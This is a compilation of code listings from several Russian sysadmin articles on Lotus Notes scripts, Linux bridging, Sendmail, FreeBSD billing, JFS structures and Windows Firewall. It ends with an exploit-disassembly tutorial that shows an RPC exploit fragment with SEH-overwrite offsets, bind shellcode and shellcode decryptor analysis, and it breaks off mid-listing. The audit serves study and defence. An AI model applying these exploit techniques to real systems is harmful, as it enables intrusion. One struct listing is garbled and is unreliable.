Lotus Notes на Windows 2K/XP в *NIX-домене Мыкола Буряк   logoff_script.vbs set WSHShell = CreateObject("WScript.Shell") WSHShell.Run "cmd /c lotus_copy.cmd",0 WScript.Sleep 5000 lotus_copy.cmd xcopy "C:\Lotus\Notes\Data\cluster.ncf" "H:\Lotus\Notes\Data\" /d /c /h /r /y xcopy "C:\Lotus\Notes\Data\jobsched.njf" "H:\Lotus\Notes\Data\" /d /c /h /r /y xcopy "C:\Lotus\Notes\Data\pid.nbf" "H:\Lotus\Notes\Data\" /d /c /h /r /y xcopy "C:\Lotus\Notes\Data\headline.nsf" "H:\Lotus\Notes\Data\" /d /c /h /r /y xcopy "C:\Lotus\Notes\Data\desktop6.ndk" "H:\Lotus\Notes\Data\" /d /c /h /r /y     logon_lotus.cmd xcopy "H:\Lotus\Notes\Data\cluster.ncf" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\jobsched.njf" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\bookmark.nsf" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\desktop6.ndk" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\names.nsf" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\pid.nbf" "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\headline.nsf" "C:\Lotus\Notes\Data\" /c /h /r /y     lotus_save_lite.cmd xcopy "C:\Lotus\Notes\Data\bookmark.nsf" "H:\Lotus\Notes\Data\" /c /h /r /y xcopy "C:\Lotus\Notes\Data\names.nsf" "H:\Lotus\Notes\Data\ " /c /h /r /y pause     del_lotus_c_id.cmd del /f C:\Lotus\Notes\Data\cache.ndk del /f C:\Lotus\Notes\Data\desktop6.ndk del /f C:\Lotus\Notes\Data\cluster.ncf del /f C:\Lotus\Notes\Data\jobsched.njf del /f C:\Lotus\Notes\Data\names.nsf del /f C:\Lotus\Notes\Data\bookmark.nsf del /f C:\Lotus\Notes\Data\pid.nbf del /f C:\Lotus\Notes\Data\user.id echo a| xcopy z:\new_lotus\maintenance\notes.ini C:\Lotus\Notes\notes.ini new_copy_lotus_h.cmd cd /d H:\ md Lotus cd Lotus md Notes cd Notes md Data echo f|xcopy C:\Lotus\Notes\Data\bookmark.nsf H:\Lotus\Notes\Data\bookmark.nsf echo f|xcopy C:\Lotus\Notes\Data\cluster.ncf H:\Lotus\Notes\Data\cluster.ncf echo f|xcopy C:\Lotus\Notes\Data\desktop6.ndk H:\Lotus\Notes\Data\desktop6.ndk echo f|xcopy C:\Lotus\Notes\Data\headline.nsf H:\Lotus\Notes\Data\headline.nsf echo f|xcopy C:\Lotus\Notes\Data\jobsched.njf H:\Lotus\Notes\Data\jobsched.njf echo f|xcopy C:\Lotus\Notes\Data\names.nsf H:\Lotus\Notes\Data\names.nsf echo f|xcopy C:\Lotus\Notes\Data\pid.nbf H:\Lotus\Notes\Data\pid.nbf echo f|xcopy C:\Lotus\Notes\Data\user.id H:\Lotus\Notes\Data\user.id echo f|xcopy C:\Lotus\Notes\notes.ini H:\Lotus\Notes\notes.ini call z:\new_lotus\maintenance\del_lotus_c_id.cmd z:\new_lotus\maintenance\sed.exe -e s/"KeyFilename=user.id" /"KeyFileName=H:\\Lotus\\Notes\\Data\\user.id"/ notes.ini > notes2.ini xcopy /f notes2.ini notes.ini /c /r /y del /f /q notes2.ini cd \ pause   -----------------------------------------------------------------------------------------------------------------   Современный Linux-сервер: виртуализируем сетевые устройства Часть 2 Алексей Барабанов   # grep eth3 /etc/udev/rules.d/30-net_persistent_names.rules SUBSYSTEM=="net", ACTION=="add", SYSFS{address}=="00:14:85:21:1b:2f", IMPORT="/sbin/rename_netiface %k hweth3"     # cat /etc/sysconfig/network/ifcfg-eth-id-00:14:85:21:1b:2f BOOTPROTO='static' BROADCAST='' IPADDR='0.0.0.0' MTU='' NAME='Giga-byte CK804 Ethernet Controller' NETMASK='255.255.255.0' NETWORK='' REMOTE_IPADDR='' STARTMODE='auto' UNIQUE='DkES.QUKldky+OPE' USERCONTROL='no' _nm_name='bus-pci-0000:00:0a.0' PREFIXLEN=''        # cat /etc/sysconfig/network/ifcfg-eth2 BOOTPROTO='static' UNIQUE='alZb.Tm92cpV9oKE' IPADDR='213.xx.xx.xxx' NETMASK='255.255.255.248' BROADCAST='213.xx.xx.xxx' NETWORK='213.xx.xx.xxx' MTU='' NAME='Virtual device eth2 VDSL' STARTMODE='auto' REMOTE_IPADDR='' USERCONTROL='no' PREFIXLEN='' POST_UP_SCRIPT='/etc/fw/fw-on-internet' POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'     #!/bin/sh iptables -F iptables -t nat -F iptables -t mangle -F iptables -X iptables -t nat -X iptables -t mangle -X iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP Затем, разрешим работу интерфейса lo скриптом fw-main: #!/bin/sh IPT=$(which iptables) LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat -A POSTROUTING") LIST2=("-o" "-i" "-i" "-o") LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING") SIZE=4 IF=lo I=0 while [ "$I" -lt "$SIZE" ] ; do J=${LIST1[$I]} K=${LIST2[$I]} L=${LIST3[$I]} $IPT $J $K $IF -j ACCEPT $IPT $J -j LOG --log-prefix "main $L DROP " --log-level notice $IPT $J -j DROP I=$((I+1)) done $IPT -P INPUT ACCEPT $IPT -P OUTPUT ACCEPT $IPT -P FORWARD ACCEPT #!/bin/sh N=/etc/udev/rules.d/30-net_persistent_names.rules T=/tmp/30-net_persistent_names.rules.$$ cat $N | grep -v "k eth" >$T mv $T $N ### BEGIN INIT INFO # Provides: bridgeprep # Required-Start: boot.udev # Required-Stop: boot.udev # Default-Start: 2 3 5 # Default-Stop: # Short-Description: Ethernet bridge # Description: Start Bridge to allow configure Bridge device ### END INIT INFO # Check for missing binaries # (stale symlinks should not happen) BRIDGE_BIN=/sbin/brctl test -x $BRIDGE_BIN || ( echo "not found $BRIDGE_BIN" ; exit 5 ) # Check for existence of needed config file and read it BRIDGE_CONFIG=/etc/sysconfig/bridge test -r $BRIDGE_CONFIG || ( echo "not found $BRIDGE_CONFIG" ; exit 6 ) . $BRIDGE_CONFIG # Shell functions sourced from /etc/rc.status: . /etc/rc.status # Reset status of this service rc_reset case "$1" in start) echo "Starting bridge " for i in ${BRIDGE_LIST} ; do $BRIDGE_BIN addbr $i P="BRIDGE_FD_$i" ; P=${!P} ; [ "1$P" != "1" ] && $BRIDGE_BIN setfd $i $P P="BRIDGE_HELLO_$i" ; P=${!P} [ "1$P" != "1" ] && $BRIDGE_BIN sethello $i $P P="BRIDGE_STP_$i" ; P=${!P} ; [ "1$P" != "1" ] && $BRIDGE_BIN stp $i $P done $BRIDGE_BIN show echo -n # Remember status and be verbose rc_status -v ;; BRIDGE_LIST="eth0 eth1 eth2 eth3" BRIDGE_FD_eth0=0 BRIDGE_HELLO_eth0=0 BRIDGE_STP_eth0=off # cp bridgeprep /etc/init.d # ln –s /etc/init.d/bridgeprep /sbin/rcbridgeprep # chkconfig bridgeprep on # Required-Start: $local_fs bridgeprep # Required-Start: random bridgeprep network for i in ${BRIDGE_LIST} ; do eval j=\$BRIDGE_DEVS_$i if [ "1$j" != "1" ] ; then # static device list for k in $j ; do [ "1$k" != "1" ] && { $BRIDGE_BIN addif $i $k BRIDGE_POOL=`remove_dev $k` } done else ... BRIDGE_DEVS_eth0="hweth0 hweth2" POST_UP_SCRIPT='/etc/fw/fw-on-internet' POST_DOWN_SCRIPT='/etc/fw/fw-off-internet' eval j=\$BRIDGE_TCPDUMP_$i if [ "1$j" != "1" ] ; then # check tcpdump L="" for k in ${BRIDGE_POOL} ; do n=`${BRIDGE_CHK_TCPDUMP} $k "$j" | grep BINGO` [ "1$n" != "1" ] && { $BRIDGE_BIN addif $i $k L="$L $k" } done for k in $L ; do BRIDGE_POOL=`remove_dev $k` done else BRIDGE_TCPDUMP_eth0="802.1d config" nemesis arp -d устройство -S адрес1 -D адрес2 BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2" eval j=\$BRIDGE_ARP_$i if [ "1$j" != "1" ] ; then # check arp L="" for k in ${BRIDGE_POOL} ; do n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO` [ "1$n" != "1" ] && { $BRIDGE_BIN addif $i $k L="$L $k" } done for k in $L ; do BRIDGE_POOL=`remove_dev $k` done fi fi fi # rcbridgeup status # rcbridgeup status # rcbridgeup stop ... # rcbridgeup   -----------------------------------------------------------------------------------------------------------------   Как работает Sendmail? Полезные подробности Часть 4: Взаимодействие со сторонними программами Сергей Супрунов   # pwd # ls -l # /usr/libexec/smrsh -c w # /usr/libexec/smrsh -c who # /usr/libexec/smrsh -c thetest     FEATURE(smrsh)     $ sendmail -d0.1 -bv     # Флаги SASL для Sendmail SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2 SENDMAIL_LDFLAGS=-L/usr/local/lib SENDMAIL_LDADD=-lsasl2 # Поддержка порта smtps для sendmail (если планируется) SENDMAIL_CFLAGS+= -D_FER_SMTP_SSL     # cd /usr/src/lib/libsmutil/ # make clean && make depend && make # cd ../libsm # make clean && make depend && make # cd /usr/src/usr.sbin/sendmail # make clean && make depend && make && make install     $ sendmail -d0.1 -bv     $ telnet localhost 25     TRUST_AUTH_MECH(`DIGEST-MD5 LOGIN PLAIN')dnl define(`confAUTH_MECHANISMS', `DIGEST-MD5 LOGIN PLAIN')dnl     FEATURE(`authinfo', `hash -o /etc/mail/authinfo')     AuthInfo:servak.de "U:" "I:" "P:" "M:LOGIN PLAIN"     # dbmail-users -c vasya -m 100M     # Флаги LDAP для Sendmail SENDMAIL_CFLAGS+= -I/usr/local/include -DLDAPMAP SENDMAIL_LDFLAGS+= -L/usr/local/lib SENDMAIL_LDADD+= -lldap -llber     # sendmail -d0.1 -bv root | grep LDAP     $ make search name=sendmail | grep Port     include /usr/share/sendmail/cf/sendmail.schema     define(`confLDAP_DEFAULT_SPEC', `-h ldap.your.domain.ru -b dc=your,dc=domain,dc=ru') FEATURE(`access_db', `LDAP') define(`ALIAS_FILE', `ldap:')     your.domain procmail     FEATURE(`local_procmail', `/usr/local/bin/maildrop', `maildrop -d $u')     MAILER(dbmail) MAILER(dbmail-lmtp)     your.domain dbmail other.domain dbmail-lmpt:[127.0.0.1]     INPUT_MAIL_FILTER(`clmilter', `S=local:/var/run/clamav/clmilter.sock,F=, T=S:4m;R:4m')     MAIL_FILTER(`miltergreylist', `S=local:/var/milter-greylist/milter-greylist.sock,F=, T=S:4m;R:4m')dnl define(`confINPUT_MAIL_FILTERS', `miltergreylist')     # ln /usr/local/bin/perl /usr/bin/perl     define(`ALIAS_FILE', `/etc/mail/aliases, /usr/local/majordomo/aliases.majordomo')   -----------------------------------------------------------------------------------------------------------------   Биллинг на FreeBSD: пишем сами, используя PHP, trafd и MySQL Александр Чагадаев   Файл create_db_&_users_&_tables.sql CREATE DATABASE traffic DEFAULT CHARACTER SET koi8r DEFAULT COLLATE koi8r_general_ci; GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' IDENTIFIED BY '123456789'; GRANT SELECT ON traffic.* TO 'view_user'@'localhost' IDENTIFIED BY '987654321'; USE traffic; CREATE TABLE Ip ( IP VARCHAR(15) NOT NULL PRIMARY KEY, QUOTA INTEGER, PCNAME VARCHAR(100), FNAME VARCHAR(100), MNAME VARCHAR(100), LNAME VARCHAR(100), EMAIL VARCHAR(200), INDEX(IP) ) ENGINE = MyISAM; CREATE TABLE Log ( NN INTEGER(12) UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, IP_FROM VARCHAR(15) NOT NULL, IP_TO VARCHAR(15) NOT NULL, SRC_PORT VARCHAR(5) NOT NULL, DEST_PORT VARCHAR(5) NOT NULL, PROTO VARCHAR(4) NOT NULL, DATA_BYTES INTEGER NOT NULL, ALL_BYTES INTEGER NOT NULL, FIRST_TIME TIMESTAMP NOT NULL, LAST_TIME TIMESTAMP NOT NULL, INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), INDEX(IP_TO,FIRST_TIME) ) ENGINE = MyISAM ROW_FORMAT = fixed;     # The `bpf' device enables the Berkeley Packet Filter. device bpf #Berkeley packet filter     trafd_enable="YES" trafd_ifaces="rl0 xl0" trafd_flags="-p -r" trafd_pid="/var/run/trafd"     my_sql { from:"insert into Log (ip_from,ip_to,src_port, dest_port,proto,data_bytes,all_bytes,first_time, last_time) values('%s'," to:"'%s'," sport:"'%s'," dport:"'%s'," proto:"'%s'," bytes:"%ld, " psize:"%ld, " ftime:"'%y-%m-%d %T'," ltime:"'%y-%m-%d %T');\n" };     Файл trafd_dump.sh #!/bin/sh . /etc/rc.conf for iface in ${trafd_ifaces}; do if [ -f ${trafd_pid}.${iface} ]; then kill -INT `cat ${trafd_pid}.${iface}` logger -t trafd_dump "signaling trafd on ${iface} dump to file" else logger -t trafd_dump "trafd on ${iface}: file ${c_pid} not found (trafd don't listen on ${iface}?)" fi done     Файл trafd_to_mysql.sh #!/bin/sh . /etc/rc.conf for iface in ${trafd_ifaces}; do if [ -f /var/trafd/trafd.${iface} ]; then logger -t trafd_to_mysql "inserting traffic data for ${iface} into mysql" /usr/local/bin/traflog -a -o my_sql -n -i rafd/trafd.$iface | /usr/local/bin/mysql -u insert_user -p123456789 traffic rm /var/trafd/trafd.$iface else logger -t trafd_to_mysql "failed to insert traffic data for ${iface} into mysql: file /var/trafd/trafd.${iface} not found" fi done     */5 * * * * root /usr/home/root/sbin/trafd_dump.sh && sleep 30 && /usr/home/root/sbin/trafd_to_mysql.sh     # Переменные ${iif} и ${iip} заданы в файле rc.conf # ${iif} – имя интерфейса (сетевой карты) внутренней сети # роутера # ${iip} – внутренний IP-адрес роутера # # Disallow users access to our proxy ${fwcmd} add deny log ip from not table\(0\) to ${iip} 3128 # Disallow users to have Internet ${fwcmd} add deny log ip from not table\(0\) to any in via ${iif}     adc_billing_enable="YES"     1 : #!/bin/sh 2 : # PROVIDE: adc_billing 3 : # REQUIRE: mysql 4 : # KEYWORD: shutdown 5 : # Add the following lines to /etc/rc.conf to enable adc_billing: 6 : #adc_billing_enable="YES" 7 : . /etc/rc.subr 8 : name="adc_billing" 9 : rcvar=`set_rcvar` 10:command="/usr/home/root/sbin/adc_billing.php" 11: stop_cmd="adc_billing_stop" 12: adc_billing_enable=${adc_billing_enable:-"NO"} 13: adc_billing_stop() 14: { 15: echo 'Stopping '${name}'.' 16: } 17: load_rc_config $name 18: run_rc_command "$1"     */10 * * * * root /usr/home/root/sbin/adc_billing.php     #!/usr/local/bin/php ip); } ?>   -----------------------------------------------------------------------------------------------------------------   Как устроена файловая система JFS Андрей Пешеходов   /* * Суперблок логического тома */ struct jfs_superblock { char s_magic[4]; /* Magic-номер */ __le32 s_version; /* Вверсия */ /* Размер тома в физических блоках, для VFS - количество блоков */ __le64 s_size; /* Размер блока тома в байтах, для VFS – размер фрагмента */ __le32 s_bsize; /* Двоичный логарифм s_bsize */ __le16 s_l2bsize; /* Двоичный логарифм (s_bsize/s_pbsize) */ __le16 s_l2bfactor; /* Размер физического блока в байтах */ __le32 s_pbsize; /* Двоичный логарифм s_pbsize */ __le16 s_l2pbsize; /* Дополнение (для выравнивания) */ __le16 pad; /* Размер allocation-группы в логических блоках */ __le32 s_agsize; /* Атрибуты тома (см. jfs_filsys.h) */ __le32 s_flag; /* Сосотяние JFS(mount/unmount/recovery), см. jfs_filsys.h */ __le32 s_state; /* >0 если задействовано сжатие данных */ __le32 s_compress; /* Первый экстент вторичной таблицы inode тома */ pxd_t s_ait2; /* Первый экстент вторичной карты inode тома */ pxd_t s_aim2; /* Адрес устройства, на котором расположен журнал */ __le32 s_logdev; /* Номер mount-сессии */ __le32 s_logserial; /* Встроенный экстент журнала */ pxd_t s_logpxd; /* Встроенный экстент рабочего пространства для fsck */ pxd_t s_fsckpxd; /* Время последнего обновления */ struct timestruc_t s_time; /* Количество блоков, зарезервированных для служебного журнала fsck. */ __le32 s_fsckloglen; /* Определяет, какой из сервисных логов fsck наиболее свежий: * 0 – в логах еще нет данных * 1 – первый * 2 - второй */ s8 s_fscklog; /* Имя тома. Должно быть 11 байт длиной для соответствия требованиям к загрузочному * сектору OS/2. Используется только если s_version = 1 */ char s_fpack[11]; /* Параметры */ __le64 s_xsize; pxd_t s_xfsckpxd; pxd_t s_xlogpxd; char s_uuid[16]; /* 128-битный uuid тома */ char s_label[16]; /* Метка тома */ /* 128-битный uuid устройства с журналом */ char s_loguuid[16]; };     /* * on-disk inode : 512 bytes * * note: align 64-bit fields on 8-byte boundary. */ struct dinode { /* 1. Базовая четверть – POSIX атрибуты. 128 байт. */ /* признак принадлежности inode к конкретному файлсету */ __le32 di_inostamp; __le32 di_fileset; /* номер файлсета */ __le32 di_number; /* номер inode */ __le32 di_gen; /* номер поколения inode */ pxd_t di_ixpxd; /* дескриптор inode-экстента */ __le64 di_size; /* размер объекта */ __le64 di_nblocks; /* количество выделенных блоков */ __le32 di_nlink; /* счетчик ссылок на объект */ __le32 di_uid; /* UID владельца */ __le32 di_gid; /* GID владельца */ __le32 di_mode; /* атрибуты, формат, разрешения */ /* время последнего доступа */ struct timestruc_t di_atime; /* время последней модификации атрбутов */ struct timestruc_t di_ctime; /* время последней модификации данных */ struct timest /* время создания */ struct timestruc_t di_mtime;ruc_t di_otime; dxd_t di_acl; /* ACL-дескриптор */ dxd_t di_ea; /* EA-дескриптор */ /* следующий доступный индекс в dir_table */ __le32 di_next_index; __le32 di_acltype; /* тип ACL */ /* 2,3,4. Четверти расширений. */ union { struct { /* Таблица directory-слотов. */ struct dir_table_slot _table[12]; /* Корень дерева каталогов */ dtroot_t _dtroot; } _dir; struct { union { /* не используется */ u8 _data[96]; struct { /* не используется */ void *_imap; /* generator */ __le32 _gengen; } _imap; } _u1; union { /* корень дерева экстентов */ xtpage_t _xtroot; struct { /* не используется */ u8 unused[16]; /* EA-дескриптор */ dxd_t _dxd; union { /* [minor:major] */ __le32 _rdev; /* имя для symlink */ u8 _fastsymlink[128]; } _u; /* встроенные EAs * u8 _inlineea[128];/ } _special; } _u2; } _file; } u; };     /* * Дескриптор выделенного экстента (XAD) */ typedef struct xad { unsigned flag:8; /* флаги */ unsigned rsvrd:16; /* зарезервировано */ unsigned off1:8; /* смещение в блоках */ __le32 off2; /* смещение в блоках */ unsigned len:24; /* длина в блоках */ unsigned addr1:8; /* адрес в блоках */ __le32 addr2; /* адрес в блоках */ } xad_t;   -----------------------------------------------------------------------------------------------------------------   Windows Firewall: защищаем внутренние ресурсы сети Андрей Бирюков   <порт>:<протокол>:<источник>:<действие>:<описание>     Set objFirewall = CreateObject("HNetCfg.FwMgr") Листинг 1. Сценарий для открытия нового порта ' объявляется объект HNetCfg Set objFirewall = CreateObject("HNetCfg.FwMgr") ' используется текущий профиль Set objPolicy = objFirewall.LocalPolicy.CurrentProfile ' создается новый открытый порт Set objPort = CreateObject("HNetCfg.FwOpenPort") objPort.Port = 10001 ' номер порта objPort.Name= "Antivirus" ' наименование objPort.IPVersion=4 ' версия IP objPort.Protocol= "TCP" ' вид протокоа ' с каких адресов разрешен доступ objPort.RemoteAddresses="172.29.0.0/24" objPort.Enabled = TRUE ' доступ разрешен ' используется список уже открытых портов Set colPorts = objPolicy.GloballyOpenPorts ' добавляется новый порт в список уже открытых портов errReturn = colPorts.Add(objPort) Листинг 2. Сценарий для авторизации приложения ' объявляем объект Set objFirewall = CreateObject("HNetCfg.FwMgr") ' используем текущий профиль Set objPolicy = objFirewall.LocalPolicy.CurrentProfile ' объявляем объект Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication") objApplication.Name = "Corp App" ' указываем имя objApplication.IPVersion = 4 ' версия IP ' путь к приложению objApplication.ProcessImageFileName = "c:\myappl.exe" ' с каких адресов разрешен доступ objApplication.RemoteAddresses = "*" objApplication.Enabled = True ' авторизуем приложение Set colApplications = objPolicy.AuthorizedApplications ' и добавляем его в список авторизованных приложений colApplications.Add(objApplication) Листинг 3. Сценарий, выводящий список всех открытых портов Set objFirewall = CreateObject("HNetCfg.FwMgr") Set objPolicy = objFirewall.LocalPolicy.CurrentProfile Set colPorts = objPolicy.GloballyOpenPorts For Each objPort in colPorts Wscript.Echo "Port name: " & objPort.Name Wscript.Echo "Port number: " & objPort.Port Wscript.Echo "Port IP version: " & objPort.IPVersion Wscript.Echo "Port protocol: " & objPort.Protocol Wscript.Echo "Port scope: " & objPort.Scope Wscript.Echo "Port remote addresses: " & objPort.RemoteAddresses Wscript.Echo "Port enabled: " & objPort.Enabled Wscript.Echo "Port built-in: " & objPort.Builtin Next   -----------------------------------------------------------------------------------------------------------------   Аудит и дизассемблирование эксплоитов Крис Касперски   Листинг 1. Фрагмент эксплоита, ответственный за сборку пакета-убийцы // выделяем память buff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff; // RPC-заголовки memcpy(ptr,dce_rpc_header1,sizeof(dce_rpc_header1)-1);ptr+=sizeof(dce_rpc_header1)-1; memcpy(ptr, tag_private, sizeof(tag_private)-1);ptr+=sizeof(tag_private)-1; memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1); memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1); memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1); // offsets ptr=buff;ptr+=438; memcpy(ptr, offsets, sizeof(offsets)-1);ptr += sizeof(offsets)-1; // shellcode memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);     Листинг 2. Массив offsets хранит подложные SEH-фреймы для нескольких операционных систем, передающие управление на shell-код unsigned char offsets[] = /* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000 "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah ! /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------! "\xE9\x14\x40\x00" ; // ! *handler ! ; // !------------------------! "\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server /* :LAB_0Ah */ /* entry point (jmp over) */ ; // SEH-FRAME for W2K Server/AdvServer "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_1Ah ! /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------- --------------! "\xE9\x14\x40\x00" ; // ! *handler ! ; // !--------------------------------! "\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73" ; // подбор SEH-фрейма для XP "\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41" ; // «A@houseofdabusHA» /* :LAB_1Ah */ /* entry point (jmp over) */ ; // SEH-FRAME for Windows XP "\xEB\x06\x90\x90" ; // ! *prev | jmp lab_36h ! /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------------! "\x4d\x12\x00\x01" ; // ! *handler ! ; // !----------------------! "\x90\x90\x90\x90\x90\x90"; ; // не значащие NOP /* :LAB_36h */ === отсюда начинается актуальный shell-код ===     Листинг 3. Последовательность pop reg/pop reg/retn, содержащаяся в файле mqsvc.exe .004014E9: 5F pop edi ; вытолкнуть одно двойное слово из стека .004014EA: 5E pop esi ; вытолкнуть следующее двойное слово .004014EB: C3 retn ; выткнуть адрес возврата и передать по нему управление     Листинг 4. Фрагмент функции, формирующий новый SEH-фрейм (компилятор – Microsoft Visual C++) .text:0040104D push ebp ; открыть новый... .text:0040104E mov ebp, esp ; ...кадр стека .text:00401050 push 0FFFFFFFFh ; это последний SEH-фрейм .text:00401052 push offset stru_407020 ; предшествующий SEH-обработчик .text:00401057 push offset _except_handler3 ; новый SEH-обработчик .text:0040105C mov eax, large fs:0 ; получить указатель на SEH-фрейм .text:00401062 push eax ; предыдущий SEH-обработчик .text:00401063 mov large fs:0, esp ; зарегистрировать новый SEH-фрейм     Листинг 5. Структура SEH-фреймов struct EXCEPTION_REGISTRATION { /* 00h */ EXCEPTION_REGISTRATION *prev; // предыдущий SEH-фрейм /* 04h */ DWORD *handler; // обработчик исключения };     Листинг 6. Последовательность вызова функций при обработке исключения NTDLL.DLL!KiUserExceptionDispatcher → NTDLL.DLL!RtlUnwind → __except_handler3     Листинг 7. Фрагмент RTL-функции __except_handler3, сохраняющий указатель на текущий SEH-фрейм перед вызовом обработчика исключения .text:004012D1 mov esi, [ebx+0Ch] ; указатель на текущий SEH-фрейм .text:004012D4 mov edi, [ebx+8] .text:004012D7 .text:004012D7 unknwn_libname_2: ; CODE XREF: unknwn_libname_1+90↓j .text:004012D cmp esi, 0FFFFFFFFh ; обработчиков больше нет? .text:004012DA jz short unknwn_libname_5 ; если да, завершаем программу .text:004012DC lea ecx, [esi+esi*2] .text:004012DF cmp dword ptr [edi+ecx*4+4], 0 .text:004012E4 jz short unknwn_libname_3 ; Microsoft VisualC 2-7/net .text:004012E6 push esi ; сохраняем указатель на фрейм .text:004012E7 push ebp ; сохраняем указатель на кадр .text:004012E8 lea ebp, [ebx+10h] .text:004012EB call dword ptr [edi+ecx*4+4] ; вызываем обработчик исключения .text:004012EF pop ebp ; восстанавливаем кадр .text:004012F0 pop esi ; восстанавливаем фрейм     Листинг 8. Программа, сохраняющая ASCII-массив shellcode[] в одноименный двоичный файл, пригодный для дизассемблирования #include char shellcode[]="\xXX\xXX\xXX\xXX"; // сюда помещаем массив для преобразования main(){FILE *f;if(f=fopen("shellcode","wb")) fwrite(shellcode, sizeof(shellcode),1,f);}     Листинг 9. В начале shell-кода расположен расшифровщик, расшифровывающий весь остальной код 00000000: 29C9 sub ecx,ecx ; ECX := 0 00000002: 83E9B0 sub ecx,-050 ; EBX := 50h 00000005: D9EE fldz ; загрузить +0.0 на стек FPU 00000007: D97424F4 fstenv [esp][-0C] ; сохранить среду FPU в памяти 0000000B: 5B pop ebx ; EBX := &fldz 0000000C: 81731319F50437 xor d,[ebx][13],03704F519 0000000C ; ^расшифровываем двойными словами 00000013: 83EBFC sub ebx,-004 ; EBX += 4:следующее двойное слово 00000016: E2F4 loop 00000000C (1) ; мотаем цикл 00000018: E59F in eax,09F ; зашифрованная команда 0000001A: EF out dx,eax ; зашифрованная команда     sub ecx,ecx>ecx:=0; sub ebx,-50h>add ecx,50h>ecx := 50h     Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU FPUControlWord → SRC(FPUControlWord); FPUStatusWord → SRC(FPUStatusWord); FPUTagWord → SRC(FPUTagWord); FPUDataPointer → SRC(FPUDataPointer); FPUInstructionPointer → SRC(FPUInstructionPointer); FPULastInstructionOpcode → SRC(FPULastInstructionOpcode); Листинг 11. Карта размещения среды в стековой памяти ->- fstenv -> - 0Ch FPUControlWord - 08h FPUStatusWord - 04h FPUTagWord ->--- esp ---> 00h FPUDataPointer <- pop ebx -<- + 04h FPUInstructionPointer + 08 FPULastInstructionOpcode Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код auto a,x; // объявление переменных for(a = 0; a < 0x50; a++) // цикл расшифровки { x=Dword(MK_FP("seg000",a*4+0x18)); // читаем очередное двойное слово x = x ^ 0x3704F519; // расшифровываем PatchDword(MK_FP("seg000",a*4+0x18),x); //записываем расшифрованное значение } Листинг 13. Древний антидизассемблерный трюк – прыжок в середину команды seg000:019 loc_19: ; CODE XREF: seg000:0000001Cvp seg000:019 6A EB push FFFFFFEBh ; скрытая команда в операнде seg000:01B 4D dec ebp ; продолжение скрытой команды seg000:01C E8 F9 FF FF FF call loc_19+1 ; вызов в середину push seg000:021 60 pusha ; сохраняем все регистры Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL через PEB seg000:00000069 31 DB xor ebx, ebx ; ebx := 0 seg000:0000006B 64 8B 43 30 mov eax, fs:[ebx+30h] ; PEB seg000:0000006F 8B 40 0C mov eax, [eax+0Ch] ; PEB_LDR_DATA seg000:00000072 8B 70 1C mov esi, [eax+1Ch] ; InInitializationOrderModuleList seg000:00000075 AD lodsd ; EAX := *ESI seg000:00000076 8B 40 08 mov eax, [eax+8] ; BASE of KERNEL32.DLL Листинг 15. Недокументированная структура PEB_LDR_DATA /* 00 */ ULONG Length; /* 04 */ BOOLEAN Initialized; /* 08 */ PVOID SsHandle; /* 0C */ LIST_ENTRY InLoadOrderModuleList; /* 14 */ LIST_ENTRY InMemoryOrderModuleList; /* 1C */ LIST_ENTRY InInitializationOrderModuleList; Листинг 16. Недокументированная структура LDR_MODULE typedef struct _LDR_MODULE { union order_type { /* 00 */ LIST_ENTRY InLoadOrderModuleList; /* 00 */ LIST_ENTRY InMemoryOrderModuleList; /* 00 */ LIST_ENTRY InInitializationOrderModuleList; } /* 08 */ PVOID BaseAddress; /* 0C */ PVOID EntryPoint; /* 10 */ ULONG SizeOfImage; /* 14 */ UNICODE_STRING FullDllName; /* 18 */ UNICODE_STRING BaseDllName; /* 1C */ ULONG Flags; /* 20 */ SHORT LoadCount; /* 22 */ SHORT TlsIndex; /* 24 */ LIST_ENTRY HashTableEntry; /* 28 */ ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; Листинг 17. Вызов API-функции по хэш-именам seg000:00000079 5E pop esi ; esi := &MyGetProcAddress seg000:0000007A 68 8E 4E 0E EC push 0EC0E4E8Eh ; #LoadLibraryA seg000:0000007F 50 push eax ; base of KERNEL32.DLL seg000:00000080 FF D6 call esi ; MyGetProcAddress Листинг 18. Процедура MyGetProcAddress, возвращающая адрес API-функции по хэш-сумме его имени seg000:00000021 60 pusha ; сохраняем все регистры seg000:00000022 8B 6C 24 